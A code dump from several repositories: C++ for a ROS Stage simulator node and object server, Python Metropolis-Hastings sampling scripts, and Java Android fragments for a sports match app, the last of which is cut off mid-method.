fiducial_msg_to_send.observations[i].range = fiducials[i].range; } if (fiducials.size() > 0) { fiducial_msg_to_send.header.frame_id = mapName("base_laser_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); fiducial_msg_to_send.header.stamp = sim_time; robotmodel->feducual_publisher_.publish(fiducial_msg_to_send); } } //loop on the laser devices for the current robot for (size_t s = 0; s < robotmodel->lasermodels.size(); ++s) { Stg::ModelRanger const *lasermodel = robotmodel->lasermodels[s]; const std::vector<Stg::ModelRanger::Sensor> &sensors = lasermodel->GetSensors(); if (sensors.size() > 1) ROS_WARN("ROS Stage currently supports rangers with 1 sensor only."); // for now we access only the zeroth sensor of the ranger - good // enough for most laser models that have a single beam origin const Stg::ModelRanger::Sensor &sensor = sensors[0]; if (sensor.ranges.size()) { // Translate into ROS message format and publish sensor_msgs::LaserScan msg; msg.angle_min = -sensor.fov / 2.0; msg.angle_max = +sensor.fov / 2.0; msg.angle_increment = sensor.fov / (double) (sensor.sample_count - 1); msg.range_min = sensor.range.min; msg.range_max = sensor.range.max; msg.ranges.resize(sensor.ranges.size()); msg.intensities.resize(sensor.intensities.size()); for (unsigned int i = 0; i < sensor.ranges.size(); i++) { msg.ranges[i] = sensor.ranges[i]; msg.intensities[i] = (uint8_t) sensor.intensities[i]; } if (robotmodel->lasermodels.size() > 1) msg.header.frame_id = mapName("base_laser_link", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)); else msg.header.frame_id = mapName("base_laser_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); msg.header.stamp = sim_time; robotmodel->laser_pubs[s].publish(msg); } // Also publish the base->base_laser_link Tx. This could eventually move // into being retrieved from the param server as a static Tx. Stg::Pose lp = lasermodel->GetPose(); tf::Quaternion laserQ; laserQ.setRPY(0.0, 0.0, lp.a); tf::Transform txLaser = tf::Transform(laserQ, tf::Point(lp.x, lp.y, robotmodel->positionmodel->GetGeom().size.z + lp.z)); if (robotmodel->lasermodels.size() > 1) tf.sendTransform(tf::StampedTransform(txLaser, sim_time, mapName("base_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("base_laser_link", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)))); else tf.sendTransform(tf::StampedTransform(txLaser, sim_time, mapName("base_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("base_laser_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)))); } //the position of the robot tf.sendTransform(tf::StampedTransform(tf::Transform::getIdentity(), sim_time, mapName("base_footprint", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("base_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)))); // Get latest odometry data // Translate into ROS message format and publish nav_msgs::Odometry odom_msg; odom_msg.pose.pose.position.x = robotmodel->positionmodel->est_pose.x; odom_msg.pose.pose.position.y = robotmodel->positionmodel->est_pose.y; odom_msg.pose.pose.orientation = tf::createQuaternionMsgFromYaw(robotmodel->positionmodel->est_pose.a); Stg::Velocity v = robotmodel->positionmodel->GetVelocity(); odom_msg.twist.twist.linear.x = v.x; odom_msg.twist.twist.linear.y = v.y; odom_msg.twist.twist.angular.z = v.a; //@todo Publish stall on a separate topic when one becomes available //this->odomMsgs[r].stall = this->positionmodels[r]->Stall(); // odom_msg.header.frame_id = mapName("odom", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); odom_msg.header.stamp = sim_time; robotmodel->odom_pub.publish(odom_msg); // broadcast odometry transform tf::Quaternion odomQ; tf::quaternionMsgToTF(odom_msg.pose.pose.orientation, odomQ); tf::Transform txOdom(odomQ, tf::Point(odom_msg.pose.pose.position.x, odom_msg.pose.pose.position.y, 0.0)); tf.sendTransform(tf::StampedTransform(txOdom, sim_time, mapName("odom", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("base_footprint", r, static_cast<Stg::Model *>(robotmodel->positionmodel)))); // Also publish the ground truth pose and velocity Stg::Pose gpose = robotmodel->positionmodel->GetGlobalPose(); tf::Quaternion q_gpose; q_gpose.setRPY(0.0, 0.0, gpose.a); tf::Transform gt(q_gpose, tf::Point(gpose.x, gpose.y, 0.0)); // Velocity is 0 by default and will be set only if there is previous pose and time delta>0 Stg::Velocity gvel(0, 0, 0, 0); if (this->base_last_globalpos.size() > r) { Stg::Pose prevpose = this->base_last_globalpos.at(r); double dT = (this->sim_time - this->base_last_globalpos_time).toSec(); if (dT > 0) gvel = Stg::Velocity( (gpose.x - prevpose.x) / dT, (gpose.y - prevpose.y) / dT, (gpose.z - prevpose.z) / dT, Stg::normalize(gpose.a - prevpose.a) / dT ); this->base_last_globalpos.at(r) = gpose; } else //There are no previous readings, adding current pose... this->base_last_globalpos.push_back(gpose); nav_msgs::Odometry ground_truth_msg; ground_truth_msg.pose.pose.position.x = gt.getOrigin().x(); ground_truth_msg.pose.pose.position.y = gt.getOrigin().y(); ground_truth_msg.pose.pose.position.z = gt.getOrigin().z(); ground_truth_msg.pose.pose.orientation.x = gt.getRotation().x(); ground_truth_msg.pose.pose.orientation.y = gt.getRotation().y(); ground_truth_msg.pose.pose.orientation.z = gt.getRotation().z(); ground_truth_msg.pose.pose.orientation.w = gt.getRotation().w(); ground_truth_msg.twist.twist.linear.x = gvel.x; ground_truth_msg.twist.twist.linear.y = gvel.y; ground_truth_msg.twist.twist.linear.z = gvel.z; ground_truth_msg.twist.twist.angular.z = gvel.a; ground_truth_msg.header.frame_id = mapName("odom", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); ground_truth_msg.header.stamp = sim_time; robotmodel->ground_truth_pub.publish(ground_truth_msg); //cameras for (size_t s = 0; s < robotmodel->cameramodels.size(); ++s) { Stg::ModelCamera *cameramodel = robotmodel->cameramodels[s]; // Get latest image data // Translate into ROS message format and publish if (robotmodel->image_pubs[s].getNumSubscribers() > 0 && cameramodel->FrameColor()) { sensor_msgs::Image image_msg; image_msg.height = cameramodel->getHeight(); image_msg.width = cameramodel->getWidth(); image_msg.encoding = "rgba8"; //this->imageMsgs[r].is_bigendian=""; image_msg.step = image_msg.width * 4; image_msg.data.resize(image_msg.width * image_msg.height * 4); memcpy(&(image_msg.data[0]), cameramodel->FrameColor(), image_msg.width * image_msg.height * 4); //invert the opengl weirdness int height = image_msg.height - 1; int linewidth = image_msg.width * 4; char *temp = new char[linewidth]; for (int y = 0; y < (height + 1) / 2; y++) { memcpy(temp, &image_msg.data[y * linewidth], linewidth); memcpy(&(image_msg.data[y * linewidth]), &(image_msg.data[(height - y) * linewidth]), linewidth); memcpy(&(image_msg.data[(height - y) * linewidth]), temp, linewidth); } if (robotmodel->cameramodels.size() > 1) image_msg.header.frame_id = mapName("camera", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)); else image_msg.header.frame_id = mapName("camera", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); image_msg.header.stamp = sim_time; robotmodel->image_pubs[s].publish(image_msg); } //Get latest depth data //Translate into ROS message format and publish //Skip if there are no subscribers if (robotmodel->depth_pubs[s].getNumSubscribers() > 0 && cameramodel->FrameDepth()) { sensor_msgs::Image depth_msg; depth_msg.height = cameramodel->getHeight(); depth_msg.width = cameramodel->getWidth(); depth_msg.encoding = this->isDepthCanonical ? sensor_msgs::image_encodings::TYPE_32FC1 : sensor_msgs::image_encodings::TYPE_16UC1; //this->depthMsgs[r].is_bigendian=""; int sz = this->isDepthCanonical ? sizeof(float) : sizeof(uint16_t); size_t len = depth_msg.width * depth_msg.height; depth_msg.step = depth_msg.width * sz; depth_msg.data.resize(len * sz); //processing data according to REP118 if (this->isDepthCanonical) { double nearClip = cameramodel->getCamera().nearClip(); double farClip = cameramodel->getCamera().farClip(); memcpy(&(depth_msg.data[0]), cameramodel->FrameDepth(), len * sz); float *data = (float *) &(depth_msg.data[0]); for (size_t i = 0; i < len; ++i) if (data[i] <= nearClip) data[i] = -INFINITY; else if (data[i] >= farClip) data[i] = INFINITY; } else { int nearClip = (int) (cameramodel->getCamera().nearClip() * 1000); int farClip = (int) (cameramodel->getCamera().farClip() * 1000); for (size_t i = 0; i < len; ++i) { int v = (int) (cameramodel->FrameDepth()[i] * 1000); if (v <= nearClip || v >= farClip) v = 0; ((uint16_t *) &(depth_msg.data[0]))[i] = (uint16_t) ((v <= nearClip || v >= farClip) ? 0 : v); } } //invert the opengl weirdness int height = depth_msg.height - 1; int linewidth = depth_msg.width * sz; char *temp = new char[linewidth]; for (int y = 0; y < (height + 1) / 2; y++) { memcpy(temp, &depth_msg.data[y * linewidth], linewidth); memcpy(&(depth_msg.data[y * linewidth]), &(depth_msg.data[(height - y) * linewidth]), linewidth); memcpy(&(depth_msg.data[(height - y) * linewidth]), temp, linewidth); } if (robotmodel->cameramodels.size() > 1) depth_msg.header.frame_id = mapName("camera", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)); else depth_msg.header.frame_id = mapName("camera", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); depth_msg.header.stamp = sim_time; robotmodel->depth_pubs[s].publish(depth_msg); } //sending camera's tf and info only if image or depth topics are subscribed to if ((robotmodel->image_pubs[s].getNumSubscribers() > 0 && cameramodel->FrameColor()) || (robotmodel->depth_pubs[s].getNumSubscribers() > 0 && cameramodel->FrameDepth())) { Stg::Pose lp = cameramodel->GetPose(); tf::Quaternion Q; Q.setRPY( (cameramodel->getCamera().pitch() * M_PI / 180.0) - M_PI, 0.0, lp.a + (cameramodel->getCamera().yaw() * M_PI / 180.0) - robotmodel->positionmodel->GetPose().a ); tf::Transform tr = tf::Transform(Q, tf::Point(lp.x, lp.y, robotmodel->positionmodel->GetGeom().size.z + lp.z)); if (robotmodel->cameramodels.size() > 1) tf.sendTransform(tf::StampedTransform(tr, sim_time, mapName("base_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("camera", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)))); else tf.sendTransform(tf::StampedTransform(tr, sim_time, mapName("base_link", r, static_cast<Stg::Model *>(robotmodel->positionmodel)), mapName("camera", r, static_cast<Stg::Model *>(robotmodel->positionmodel)))); sensor_msgs::CameraInfo camera_msg; if (robotmodel->cameramodels.size() > 1) camera_msg.header.frame_id = mapName("camera", r, s, static_cast<Stg::Model *>(robotmodel->positionmodel)); else camera_msg.header.frame_id = mapName("camera", r, static_cast<Stg::Model *>(robotmodel->positionmodel)); camera_msg.header.stamp = sim_time; camera_msg.height = cameramodel->getHeight(); camera_msg.width = cameramodel->getWidth(); double fx, fy, cx, cy; cx = camera_msg.width / 2.0; cy = camera_msg.height / 2.0; double fovh = cameramodel->getCamera().horizFov() * M_PI / 180.0; double fovv = cameramodel->getCamera().vertFov() * M_PI / 180.0; //double fx_ = 1.43266615300557*this->cameramodels[r]->getWidth()/tan(fovh); //double fy_ = 1.43266615300557*this->cameramodels[r]->getHeight()/tan(fovv); fx = cameramodel->getWidth() / (2 * tan(fovh / 2)); fy = cameramodel->getHeight() / (2 * tan(fovv / 2)); //ROS_INFO("fx=%.4f,%.4f; fy=%.4f,%.4f", fx, fx_, fy, fy_); camera_msg.D.resize(4, 0.0); camera_msg.K[0] = fx; camera_msg.K[2] = cx; camera_msg.K[4] = fy; camera_msg.K[5] = cy; camera_msg.K[8] = 1.0; camera_msg.R[0] = 1.0; camera_msg.R[4] = 1.0; camera_msg.R[8] = 1.0; camera_msg.P[0] = fx; camera_msg.P[2] = cx; camera_msg.P[5] = fy; camera_msg.P[6] = cy; camera_msg.P[10] = 1.0; robotmodel->camera_pubs[s].publish(camera_msg); } } } this->base_last_globalpos_time = this->sim_time; rosgraph_msgs::Clock clock_msg; clock_msg.clock = sim_time; this->clock_pub_.publish(clock_msg); } int main(int argc, char **argv) { if (argc < 2) { puts(USAGE); exit(-1); } ros::init(argc, argv, "stageros"); bool gui = true; bool use_model_names = false; for (int i = 0; i < (argc - 1); i++) { if (!strcmp(argv[i], "-g")) gui = false; if (!strcmp(argv[i], "-u")) use_model_names = true; } StageNode sn(argc - 1, argv, gui, argv[argc - 1], use_model_names); if (sn.SubscribeModels() != 0) exit(-1); boost::thread t = boost::thread(boost::bind(&ros::spin)); // New in Stage 4.1.1: must Start() the world. sn.world->Start(); // TODO: get rid of this fixed-duration sleep, using some Stage builtin // PauseUntilNextUpdate() functionality. ros::WallRate r(10.0); while (ros::ok() && !sn.world->TestQuit()) { if (gui) Fl::wait(r.expectedCycleTime().toSec()); else { sn.UpdateWorld(); r.sleep(); } } t.join(); exit(0); } <file_sep>#ifndef STAGE #define STAGE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <signal.h> // libstage #include <stage.hh> // roscpp #include <ros/ros.h> #include <boost/thread/mutex.hpp> #include <boost/thread/thread.hpp> #include <sensor_msgs/LaserScan.h> #include <sensor_msgs/Image.h> #include <sensor_msgs/image_encodings.h> #include <sensor_msgs/CameraInfo.h> #include <nav_msgs/Odometry.h> #include <geometry_msgs/Twist.h> #include <rosgraph_msgs/Clock.h> #include <std_srvs/Empty.h> #include <tf/transform_broadcaster.h> #include <stage_ros/fiducials.h> #include <stage_ros/object_server.h> #include <stage_ros/SetRobotPose.h> #include <stage_ros/WheelCmdVel.h> #define USAGE "stageros <worldfile>" #define IMAGE "image" #define DEPTH "depth" #define CAMERA_INFO "camera_info" #define ODOM "odom" #define BASE_SCAN "base_scan" #define BASE_POSE_GROUND_TRUTH "base_pose_ground_truth" #define CMD_VEL "cmd_vel" #define FIDUCIALS "fiducials" #define WHEEL_CMD_VEL "wheel_cmd_vel" #define SET_POSE "set_robot_pose" // Our node class StageNode { private: // roscpp-related bookkeeping ros::NodeHandle n_; // A mutex to lock access to fields that are used in message callbacks boost::mutex msg_lock; // The models that we're interested in std::vector<Stg::ModelCamera *> cameramodels; std::vector<Stg::ModelRanger *> lasermodels; std::vector<Stg::ModelPosition *> positionmodels; std::vector<Stg::ModelFiducial *> fiducialmodels; std::vector<Stg::Model *> othermodels; //a structure representing a robot inthe simulator struct StageRobot { double wheele_radius; double wheele_base; //stage related models Stg::ModelPosition *positionmodel; //one position std::vector<Stg::ModelCamera *> cameramodels; //multiple cameras per position std::vector<Stg::ModelRanger *> lasermodels; //multiple rangers per position //ros publishers ros::Publisher odom_pub; //one odom ros::Publisher ground_truth_pub; //one ground truth std::vector<ros::Publisher> image_pubs; //multiple images std::vector<ros::Publisher> depth_pubs; //multiple depths std::vector<ros::Publisher> camera_pubs; //multiple cameras std::vector<ros::Publisher> laser_pubs; //multiple lasers ros::Subscriber cmdvel_sub; //one cmd_vel subscriber ros::Publisher feducual_publisher_; ros::Subscriber wheelcmdvel_subs_; ros::ServiceServer set_robot_pose_srvs_; }; std::vector<StageRobot const *> robotmodels_; // Used to remember initial poses for soft reset std::vector<Stg::Pose> initial_poses; ros::ServiceServer reset_srv_; ros::Publisher clock_pub_; bool isDepthCanonical; bool use_model_names; // A helper function that is executed for each stage model. We use it // to search for models of interest. static void ghfunc(Stg::Model *mod, StageNode *node); static bool s_update(Stg::World *world, StageNode *node) { node->WorldCallback(); // We return false to indicate that we want to be called again (an // odd convention, but that's the way that Stage works). return false; } // Appends the given robot ID to the given message name. If omitRobotID // is true, an unaltered copy of the name is returned. const char *mapName(const char *name, size_t robotID, Stg::Model *mod) const; const char *mapName(const char *name, size_t robotID, size_t deviceID, Stg::Model *mod) const; tf::TransformBroadcaster tf; // Last time that we received a velocity command ros::Time base_last_cmd; ros::Duration base_watchdog_timeout; // Current simulation time ros::Time sim_time; // Last time we saved global position (for velocity calculation). ros::Time base_last_globalpos_time; // Last published global pose of each robot std::vector<Stg::Pose> base_last_globalpos; stage_ros::ObjectServer* object_server_; public: // Constructor; stage itself needs argc/argv. fname is the .world file // that stage should load. StageNode(int argc, char **argv, bool gui, const char *fname, bool use_model_names); ~StageNode(); // Subscribe to models of interest. Currently, we find and subscribe // to the first 'laser' model and the first 'position' model. Returns // 0 on success (both models subscribed), -1 otherwise. int SubscribeModels(); // Our callback void WorldCallback(); // Do one update of the world. May pause if the next update time // has not yet arrived. bool UpdateWorld(); // Message callback for a MsgBaseVel message, which set velocities. void cmdvelReceived(int idx, const boost::shared_ptr<geometry_msgs::Twist const> &msg); // Service callback for soft reset bool cb_reset_srv(std_srvs::Empty::Request& request, std_srvs::Empty::Response& response); // Message callback for a Wheel Vel message, which set velocities of the left and right wheel. void wheelcmdvelCB(int idx, const boost::shared_ptr<stage_ros::WheelCmdVel const>& msg); // Service callback for SetRobotPose, which set the robot to a pose. bool setRobotPoseCB(int idx, stage_ros::SetRobotPose::Request &request, stage_ros::SetRobotPose::Response &response); //Add a model to the world std::string addModel(Stg::Model *); void removeModel(const std::string& name); Stg::Model* getModel(const std::string& name); Stg::Pose getModelPose(const std::string& name); Stg::Pose setModelPose(const std::string& name, Stg::Pose pose); Stg::Size getModelSize(const std::string& name); Stg::Size setModelSize(const std::string& name, Stg::Size size); // The main simulator object Stg::World *world; }; #endif /* STAGE */ <file_sep>/* * object_server.h * * Created on: Dez 15, 2015 * Author: <NAME> */ #ifndef OBJECT_SERVER #define OBJECT_SERVER #include <map> #include <ros/node_handle.h> #include <actionlib/server/simple_action_server.h> #include <stage_ros/createAction.h> #include <stage_ros/moveAction.h> #include <stage_ros/removeAction.h> #include <stage_ros/object.h> class StageNode; namespace stage_ros { typedef actionlib::SimpleActionServer<stage_ros::createAction> CreateActionServer; typedef actionlib::SimpleActionServer<stage_ros::moveAction> MoveActionServer; typedef actionlib::SimpleActionServer<stage_ros::removeAction> RemoveActionServer; class ObjectServer { public: ObjectServer(ros::NodeHandle nh, StageNode* stage); virtual ~ObjectServer(); void timerTrajectories(const ros::TimerEvent& e); void executeCreate(const stage_ros::createGoalConstPtr& goal); void executeMove(const stage_ros::moveGoalConstPtr& goal); void executeRemove(const stage_ros::removeGoalConstPtr& goal); private: ros::NodeHandle node_; StageNode* stage_; CreateActionServer create_action_server_; MoveActionServer move_action_server_; RemoveActionServer remove_action_server_; ros::Timer trajectory_timer_; std::map<std::string,stage_ros::Object*> objects_; }; } #endif /* OBJECT_SERVER */ <file_sep>#include <stage_ros/object_server.h> #include <stage_ros/stageros.h> #include <tf/transform_datatypes.h> namespace stage_ros { ObjectServer::ObjectServer(ros::NodeHandle nh, StageNode* stage) : node_(nh), stage_(stage), create_action_server_(node_, "/stage/create", boost::bind(&ObjectServer::executeCreate, this, _1), false), move_action_server_(node_, "/stage/move", boost::bind(&ObjectServer::executeMove, this, _1), false), remove_action_server_(node_, "/stage/remove", boost::bind(&ObjectServer::executeRemove, this, _1), false) { create_action_server_.start(); move_action_server_.start(); remove_action_server_.start(); double control_frequence = 30.0; trajectory_timer_ = node_.createTimer(ros::Duration(1.0/control_frequence), &ObjectServer::timerTrajectories, this, false ); } ObjectServer::~ObjectServer() { std::map<std::string,stage_ros::Object*>::iterator it; for (it = objects_.begin(); it != objects_.end(); ++it) delete it->second; objects_.clear(); } void ObjectServer::timerTrajectories(const ros::TimerEvent& e) { std::map<std::string,stage_ros::Object*>::iterator it; for (it = objects_.begin(); it != objects_.end(); ++it) { geometry_msgs::PoseStamped spose = it->second->getPose(ros::Time::now()); //Set Coordinates Stg::Pose pose; pose.x = spose.pose.position.x; pose.y = spose.pose.position.y; //Calculate rotation geometry_msgs::Quaternion q = spose.pose.orientation; tf::Quaternion quat(q.x, q.y, q.z, q.w); tf::Matrix3x3 mat(quat); double roll, pitch, yaw; mat.getRPY(roll, pitch, yaw); pose.a = yaw; //Send the values to stage stage_->setModelPose(it->first, pose); } } void ObjectServer::executeCreate(const stage_ros::createGoalConstPtr& goal) { stage_ros::createResult res; // TODO create object with respect to yaml configuration, otherwise error! Stg::Model *model = new Stg::Model(stage_->world, NULL, goal->type); model->SetColor(Stg::Color::blue); Stg::Geom geom; geom.size.x = 1.0; geom.size.y = 1.0; geom.size.z = 1.0; if(goal->type == "door") { model->SetColor(Stg::Color::red); geom.size.x = 0.9; geom.size.y = 0.04; geom.size.z = 2.12; } model->SetGeom(geom); std::string id = stage_->addModel(model); Stg::Pose pose; pose.x = 0.; pose.y = 0.; pose.z = 0.; pose.a = 0.; stage_->setModelPose(id, pose); res.id = id; stage_ros::Object* object = new stage_ros::Object(id, goal->type); objects_[id] = object; create_action_server_.setSucceeded(res); } void ObjectServer::executeMove(const stage_ros::moveGoalConstPtr& goal) { stage_ros::moveResult res; std::string id = goal->id; if ( objects_.find(id) == objects_.end() ) { //not found ROS_ERROR_STREAM("ObjectServer::executeMove: Could not find id: " << id); res.response = -2; move_action_server_.setAborted(res); return; } if (goal->trajectory.size() == 0) { ROS_ERROR_STREAM("ObjectServer::executeMove: The trajectory size is zero"); res.response = -3; move_action_server_.setAborted(res); return; } objects_[id]->setTrajectory(goal->trajectory); res.response = 0; move_action_server_.setSucceeded(res); } void ObjectServer::executeRemove(const stage_ros::removeGoalConstPtr& goal) { stage_ros::removeResult res; std::string id = goal->id; if ( objects_.find(id) == objects_.end() ) { //not found remove_action_server_.setAborted(res); return; } stage_->removeModel(id); remove_action_server_.setSucceeded(res); } } // namespace stage_ros <file_sep>#include <geometry_msgs/PoseStamped.h> #ifndef OBJECT #define OBJECT namespace stage_ros { class Object { public: Object(std::string id, std::string type) : id_(id), type_(type) { geometry_msgs::PoseStamped current_pose; trajectory_.push_back(current_pose); } virtual ~Object() {} void setTrajectory(std::vector<geometry_msgs::PoseStamped> trajectory) { trajectory_ = trajectory; } geometry_msgs::PoseStamped getPose(ros::Time now) { int size = trajectory_.size(); geometry_msgs::PoseStamped current_pose = trajectory_.front(); for(size_t i = 0; i < size ; ++i) { ros::Duration diff = trajectory_.at(i).header.stamp - now; if (diff < ros::Duration(0.0)) current_pose = trajectory_.at(i); } return current_pose; } private: std::string id_; std::string type_; std::vector<geometry_msgs::PoseStamped> trajectory_; }; } #endif
5fdca5cf61a63cdf56c36b05f367b3627bacd107
[ "C++" ]
5
C++
RoboCupTeam-TUGraz/stage_ros
acd91c9019d9f8b29a0a263100a1552892f120a9
b5f7f75f06800ddeb0e79ac55413ae0fc4ea0462
refs/heads/master
<file_sep>const { succeed, fail , repair } = require('./enhancer.js'); //test items const itemOne = { durability: 50, enhancement: 20 } const itemTwo = { durability: 50, enhancement: 19 } const itemThree = { durability: 50, enhancement: 14 } const itemFour = { durability: 50, enhancement: 15 } const itemFive = { durability: 50, enhancement: 17 } describe("succeed", () => { it("item enhancement increases by 1 when i.enh < 20", () => { const succeededItem = succeed(itemTwo); expect((succeededItem.enhancement)).toBe(20); }); it("item enhancement remains 20 if i.enh = 20", () => { const succeededItem = succeed(itemOne); expect((succeededItem.enhancement)).toBe(20); }); it("item durability = unchanged from suceed", () => { const succeededItem = succeed(itemOne); expect((succeededItem.durability)).toBe(50); }); }); describe("fail", () => { it("i.enh < 15 then i.dur decreases by 5", () => { const failedItem = fail(itemThree); expect((failedItem.durability)).toBe(45); }); it("i.enh >= 15 then i.dur decreases by 10", () => { const failedItem = fail(itemFour); expect((failedItem.durability)).toBe(40); }); it("i.enh > 16 then i.enh decreases by 1", () => { const failedItem = fail(itemFive); expect((failedItem.enhancement)).toBe(16); }); }); describe("repair", () => { it("should output a durability of 100 for any item", () => { expect(repair(itemOne).durability).toBe(100); expect(repair(itemTwo).durability).toBe(100) expect(repair(itemThree).durability).toBe(100); }); });
f5e3c1b4970925409973c09f2fad6d5ddbb9db34
[ "JavaScript" ]
1
JavaScript
bryanbilek/webtesting-i-challenge
c40179d6aa0ae9d29c3a781b87b421b6bb0f7f81
18580de01b45e3faaac510c25a69eae1b57e8c3a
refs/heads/master
<repo_name>ppablocruzcobas/Metropolis<file_sep>/Metropolis-Hastings-RWS.py # Metropolis-Hastings Random Walk Samplper algorithm __author__ = '<NAME>' import numpy as np def density(x): return np.exp((-1 / 3) * (x[0]**2 - x[0] * x[1] + x[1]**2 + x[0] - 2 * x[1] + 1)) def mhrws(state, iters): states = [state] for i in range(iters): y = [states[i][0] + np.random.normal(0, 4), states[i][1] + np.random.normal(0, 4)] u = np.random.random() if u < min(1, density(y) / density(states[i])): states.append(y) else: states.append(states[i]) return states if __name__ == "__main__": ITERS = 5000 states = mhrws([0, 0], ITERS) print("Estimated Value of E[X2] over %d iterations." % ITERS) print("E[X2] = %f" % (np.sum(states, axis=0) / ITERS)[1]) <file_sep>/Metropolis-Hastings.py # Metropolis-Hastings algorithm __author__ = '<NAME>' import numpy as np def is_distribution(p): return np.abs(np.sum(p) - 1.0) < 1e-8 def gen_disc_probability(vector): u = np.random.random() s = .0 for i in range(len(vector) - 1): s = s + vector[i] if u < s: return i return len(vector) - 1 def prop_matrix(dim): """ returns the proposition matrix Q of dimension `dim`. Q is an stochastic matrix (the sum over a row must be equal 1 always). The last part is achieved dividing each element in a row by the sum of that row. """ # m = np.array([.5, .5, .5, .5]) # return m.reshape((2, 2)) m = np.random.random_sample((dim, dim)) return m / m.sum(axis=1)[:, None] def accept_matrix(Q, p, dim): """ `p` is the final desired distribution. """ a = np.zeros((dim, dim)) for i in range(dim): for j in range(dim): a[j, i] = min((p[i] * Q[i, j]) / (p[j] * Q[j, i]), 1) return a def m_hastings(state): temp_state = gen_disc_probability(Q[state, :]) if temp_state == state: new_state = state else: u = np.random.random() if u < A.item((state, temp_state)): new_state = temp_state else: new_state = state return new_state if __name__ == "__main__": ITERS = 5000 # number of iterations p = [.23, .77] # distribution to simulate if is_distribution(p): Q = prop_matrix(len(p)) A = accept_matrix(Q, p, len(p)) # print(Q) # print(A) state = np.random.randint(len(p)) # random initial state states = [state] # list of generated states for i in range(ITERS): state = m_hastings(state) if 5 * i > ITERS: # only count last 1/5 of generated states states.append(state) print('%s Iterations. %s States.' % (ITERS, len(p))) print() # the next two lines have the intention to avoid numerical errors # in the simulated distribution v = [states.count(i) / len(states) for i in range(len(p))] eps = (1 - np.sum(v)) / len(p) for i in range(len(p)): v[i] += eps print(' P(X = %s) = %s' % (i, v[i]))
c829eeb15c47b013c6a2acbdbf238ac8ae3cdca9
[ "Python" ]
2
Python
ppablocruzcobas/Metropolis
aac3928b2850c057415df2d0aa90d28b020f6fa1
9e5911725e1a79ee7287eb3d4410139f0d826409
refs/heads/main
<repo_name>casontek/sportingLink<file_sep>/app/src/main/java/com/mycornership/betlink/fragments/MatchFragment.java package com.mycornership.betlink.fragments; import android.os.Bundle; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.viewpager2.widget.ViewPager2; import android.util.Log; import android.view.DragEvent; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; import com.google.android.material.tabs.TabLayout; import com.google.android.material.tabs.TabLayoutMediator; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.MatchTabAdapter; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.time.LocalDate; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; public class MatchFragment extends Fragment { private TabLayout tabLayout; private ViewPager2 viewPager; private MatchTabAdapter adapter; private List<String> tabLabels = new ArrayList<>(); private List<String> tabsValues = new ArrayList<>(); public MatchFragment() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment return inflater.inflate(R.layout.fragment_match, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components here tabLayout = getView().findViewById(R.id.match_tabbar); viewPager = getView().findViewById(R.id.match_viewpager); constructTabHeaders(); adapter = new MatchTabAdapter(this, tabLabels, tabsValues); viewPager.setAdapter(adapter); new TabLayoutMediator(tabLayout, viewPager, (tab, position) -> { tab.setText(tabLabels.get(position)); }).attach(); } private void constructTabHeaders(){ int offset = 0; for (int i = 1; i <= 7; i++){ if(i == 1){ offset = -2; } else if(i == 2){ offset = -1; } else if(i == 3){ offset = 0; } else if(i == 4){ offset = 1; } else if(i == 5){ offset = 2; } else if(i == 6){ offset = 3; } else if(i == 7){ offset = 4; } getLabels(offset); } } private void getLabels(int offset){ Calendar c = Calendar.getInstance(); c.add(Calendar.DATE, offset); int yr = c.get(Calendar.YEAR); int mth = c.get(Calendar.MONTH) + 1; int day = c.get(Calendar.DAY_OF_MONTH); String month, today; //checks month if(mth < 10) month = "0" + mth; else month = mth + ""; //checks day if(day < 10) today = "0" + day; else today = day + ""; String month_label = getMonthLabel(c.get(Calendar.MONTH)); String day_label = getDayLabel(c.get(Calendar.DAY_OF_WEEK)); String label = day_label + "," + month_label + " " + day; String value = yr + "-" + month + "-" + today; //sets the labels and values if(offset == -1){ tabLabels.add("Yesterday"); tabsValues.add(value); } else if(offset == 0){ tabLabels.add("Today"); tabsValues.add(value); } else if(offset == 1){ tabLabels.add("Tomorrow"); tabsValues.add(value); } else { tabLabels.add(label); tabsValues.add(value); } } private String getMonthLabel(int mnth){ switch (mnth){ case 0: return "Jan"; case 1: return "Feb"; case 2: return "Mar"; case 3: return "Apr"; case 4: return "May"; case 5: return "Jun"; case 6: return "Jul"; case 7: return "Aug"; case 8: return "Sep"; case 9: return "Oct"; case 10: return "Nov"; case 11: return "Dec"; default: return null; } } private String getDayLabel(int day){ switch (day){ case 1: return "Sun"; case 2: return "Mon"; case 3: return "Tue"; case 4: return "Wen"; case 5: return "Thu"; case 6: return "Fri"; case 7: return "Sat"; default: return null; } } } <file_sep>/app/src/main/java/com/mycornership/betlink/models/Team.java package com.mycornership.betlink.models; import com.google.gson.annotations.SerializedName; public class Team { @SerializedName("team_id") private long teamId; @SerializedName("team_name") private String name; @SerializedName("logo") private String logo; public Team() { } public long getTeamId() { return teamId; } public void setTeamId(long teamId) { this.teamId = teamId; } public String getName() { return name; } public void 